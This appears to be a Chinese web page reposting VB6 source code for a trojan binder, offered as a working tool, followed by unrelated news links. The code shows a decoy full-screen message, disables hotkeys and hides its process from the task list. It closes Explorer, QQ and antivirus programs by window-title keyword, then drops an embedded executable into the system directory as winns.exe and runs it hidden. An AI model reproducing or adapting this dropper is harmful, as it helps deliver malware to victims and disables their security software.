分享
 
 
 

使用 VB 开发的木马捆绑程序源代码。

王朝vb·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

这是很久以前回答人家一道关于使用 VB 捆绑木马的问题,有些 API 只可用于 Win9x,回复如下:

其实不需要记录文件的大小,我为了方便,直接用捆绑工具把我的程序与木马合并在一起,结果被杀毒软件给查出来了,后来我就想到把木马放到资源文件中,待程序运行时先把杀毒软件的进程给KILL掉,然后再把它释放出来,效果很好,并且杀毒软件也查不到,以下是我的程序源代码。里面还有很多与它不相关的代码,我是用来杀进程的,GetDesktopWindows 可以用 EnumWindows 完全代替,代码也可以减少很多。

Option Explicit

Dim wndNum As Long '保存所有窗体数量

Dim lpWnd(128) As String '存放所有窗体标题数组

'设置进程优先级

Private Declare Function SetPriorityClass Lib _

"kernel32" ( _

ByVal hProcess As Long, _

ByVal dwPriorityClass As Long _

) As Long

'获取当前进程

Private Declare Function GetCurrentProcess Lib _

"kernel32" () As Long

'最低优先级,表明在计算机空闲时运行

Private Const IDLE_PRIORITY_CLASS = &H40

'将进程注册为服务,Windows 2000 系统不可用

Private Declare Function RegisterServiceProcess Lib _

"kernel32" ( _

ByVal hProcess As Long, _

ByVal uFlags As Long _

) As Long

'获取当前进程 ID

Private Declare Function GetCurrentProcessId Lib _

"kernel32" () As Long

'在此程序中用来屏蔽热键

Private Declare Function SystemParametersInfo Lib _

"User32" Alias "SystemParametersInfoA" ( _

ByVal uAction As Long, _

ByVal uParam As Long, _

ByRef lpvParam As Any, _

ByVal fuWinIni As Long _

) As Long

'屏蔽热键,对于 Windows 2000 系统无效

Private Const SPI_SCREENSAVERRUNNING = 97

'将窗体设为顶层

Private Declare Function SetWindowPos Lib _

"User32" ( _

ByVal hwnd As Long, _

ByVal hWndInsertAfter As Long, _

ByVal x As Long, _

ByVal y As Long, _

ByVal cx As Long, _

ByVal cy As Long, _

ByVal wFlags As Long _

) As Long

'将窗体设为最前

Private Const HWND_TOPMOST = -1

'获取桌面句柄

Private Declare Function GetDesktopWindow Lib _

"User32" () As Long

'获取窗体句柄

Private Declare Function GetWindow Lib _

"User32" ( _

ByVal hwnd As Long, _

ByVal wCmd As Long _

) As Long

'获取子窗体句柄

Private Const GW_CHILD = 5

'获取下一个窗体句柄

Private Const GW_HWNDNEXT = 2

'获取窗体标题

Private Declare Function GetWindowText Lib _

"User32" Alias "GetWindowTextA" ( _

ByVal hwnd As Long, _

ByVal lpString As String, _

ByVal cch As Long _

) As Long

'发送消息,用来关闭指定程序,比如杀毒,网管

Private Declare Function PostMessage Lib _

"User32" Alias "PostMessageA" ( _

ByVal hwnd As Long, _

ByVal wMsg As Long, _

ByVal wParam As Long, _

ByVal lParam As Long _

) As Long

'关闭程序

Private Const WM_CLOSE = &H10

'退出程序

Private Const WM_QUIT = &H12

'查找窗体

Private Declare Function FindWindow Lib _

"User32" Alias "FindWindowA" ( _

ByVal lpClassName As String, _

ByVal lpWindowName As String _

) As Long

'获取类名

Private Declare Function GetClassName Lib _

"User32" Alias "GetClassNameA" ( _

ByVal hwnd As Long, _

ByVal lpClassName As String, _

ByVal nMaxCount As Long _

) As Long

'延时以确保程序已关闭

Private Declare Sub Sleep Lib _

"kernel32" ( _

ByVal dwMilliseconds As Long _

)

'获得 Windows 系统目录

Private Declare Function GetSystemDirectory Lib _

"kernel32" Alias "GetSystemDirectoryA" ( _

ByVal lpBuffer As String, _

ByVal nSize As Long _

) As Long

'销毁窗体,释放内存

Private Declare Function DestroyWindow Lib _

"User32" ( _

ByVal hwnd As Long _

) As Long

'销毁句柄,释放内存

Private Declare Function CloseHandle Lib _

"kernel32" ( _

ByVal hObject As Long _

) As Long

'枚举窗体

Private Declare Function EnumWindows Lib _

"User32" ( _

ByVal lpEnumFunc As Long, _

ByVal lParam As Long _

) As Long

Private Sub Form_Load()

'只运行应用程序的一个实例

If App.PrevInstance = True Then End

'将窗体设为顶层

SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, 0

'给使用者一个提示

MsgBox "该程序运行于全屏模式,请关闭所有程序以" & _

"获得最佳效果!", vbInformation Or vbSystemModal

'取消热键

SystemParametersInfo SPI_SCREENSAVERRUNNING, _

True, 0, 0

'将图片居中

img.Move (Screen.Width - img.Width) / 2, _

(Screen.Height - img.Height) / 2

fra(0).Move img.Left - fra(0).Width - 600

fra(1).Move img.Left + img.Width + 600

'获取进程,并将它的优先级别设为空闲

SetPriorityClass GetCurrentProcess, _

IDLE_PRIORITY_CLASS

'获取进程ID,并将它注册为服务类型,因此在按下 _

Ctrl+Alt+Del 后该进程将变为不可见,该方法 _

还可以直接用 app.TaskVisible=False 实现, _

但效果不佳,注意,该 API 不支持 Win2000 系统

RegisterServiceProcess GetCurrentProcessId, 1

'刷新一下进程

RefreshProcess

'杀掉浏览器

Do While KillProcess("Explorer") <> 0

Loop

'杀掉文件夹或 Internet Explorer 浏览器

Do While KillProcess("WClass", True) <> 0

Loop

Do While KillProcess("SystemTr", True) <> 0

Loop

'杀掉 Oicq

Do While KillProcess("icq") <> 0

Loop

'杀掉毒霸之类的杀毒软件

Do While KillProcess("毒") <> 0

Loop

Do While KillProcess("霸") <> 0

Loop

'释放资源文件中的可执行文件

WriteExe

End Sub

'刷新所有进程

Private Sub RefreshProcess()

Dim retWnd As Long '窗体句柄

Dim dskWnd As Long '桌面句柄

Dim lpTitle As String * 128 '窗体标题

'清除数组中保留的窗体名称

For wndNum = LBound(lpWnd) To UBound(lpWnd)

lpWnd(wndNum) = ""

Next wndNum

'初始化窗体数目

wndNum = 0

'获取桌面句柄

dskWnd = GetDesktopWindow()

'获取桌面子窗体

retWnd = GetWindow(dskWnd, GW_CHILD)

'列举所有窗体

Do While retWnd <> 0

'获得窗体标题

GetWindowText retWnd, lpTitle, Len(lpTitle)

'将标题保存到数组

If Left(lpTitle, 1) <> vbNullChar Then

lpWnd(wndNum) = Left(lpTitle, InStr(1, _

lpTitle, vbNullChar) - 1)

wndNum = wndNum + 1

End If

'获取下一个窗体

retWnd = GetWindow(retWnd, GW_HWNDNEXT)

Loop

End Sub

'将含有指定关键字的进程关闭

Private Function KillProcess(KeyWord As String, _

Optional IsClass As Boolean = False) As Long

Dim lpClassName As String * 128

Dim ClassName As String

Dim fndWnd As Long

Dim wndHdc As Long

KillProcess = 0

For fndWnd = 0 To wndNum

'判断查找的是否为类的关键字

If IsClass = True Then

'获得窗体句柄

wndHdc = FindWindow(vbNullString, _

lpWnd(fndWnd))

'获取类名到缓冲区

GetClassName wndHdc, lpClassName, _

Len(lpClassName)

'解析出类名

ClassName = Left(lpClassName, InStr(1, _

lpClassName, vbNullChar) - 1)

'找到后将它关闭,有时只使用 WM_QUIT 不能 _

完成任务,使用 WM_CLOSE 再试一次

If InStr(1, ClassName, KeyWord) > 0 Then

wndHdc = FindWindow(ClassName, _

vbNullString)

KillProcess = KillProcess + 1

QuitDestroy wndHdc

End If

'查找标题带有关键字的窗体

ElseIf InStr(1, lpWnd(fndWnd), KeyWord) > 0 Then

wndHdc = FindWindow(vbNullString, _

lpWnd(fndWnd))

KillProcess = KillProcess + 1

QuitDestroy wndHdc

End If

Next fndWnd

End Function

Private Sub WriteExe()

Dim exeData() As Byte

Dim fileNum As Long

Dim SysDir As String * 128

GetSystemDirectory SysDir, Len(SysDir)

exeData = LoadResData("LOVEME", "Execute")

fileNum = FreeFile()

Open Left(SysDir, InStr(1, SysDir, vbNullChar) _

- 1) & "\winns.exe" For Binary As #fileNum

Put #fileNum, , exeData

Close #fileNum

Shell Left(SysDir, InStr(1, SysDir, vbNullChar) _

- 1) & "\winns.exe", vbHide

End Sub

Private Sub QuitDestroy(wnd As Long)

PostMessage wnd, WM_QUIT, 0, 0

PostMessage wnd, WM_CLOSE, 0, 0

DestroyWindow wnd

CloseHandle wnd

'再次刷新一下进程,这一点非常有必要, _

目的是判断相关线程是否存在,否则程 _

序会将自己杀死

RefreshProcess

End Sub

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有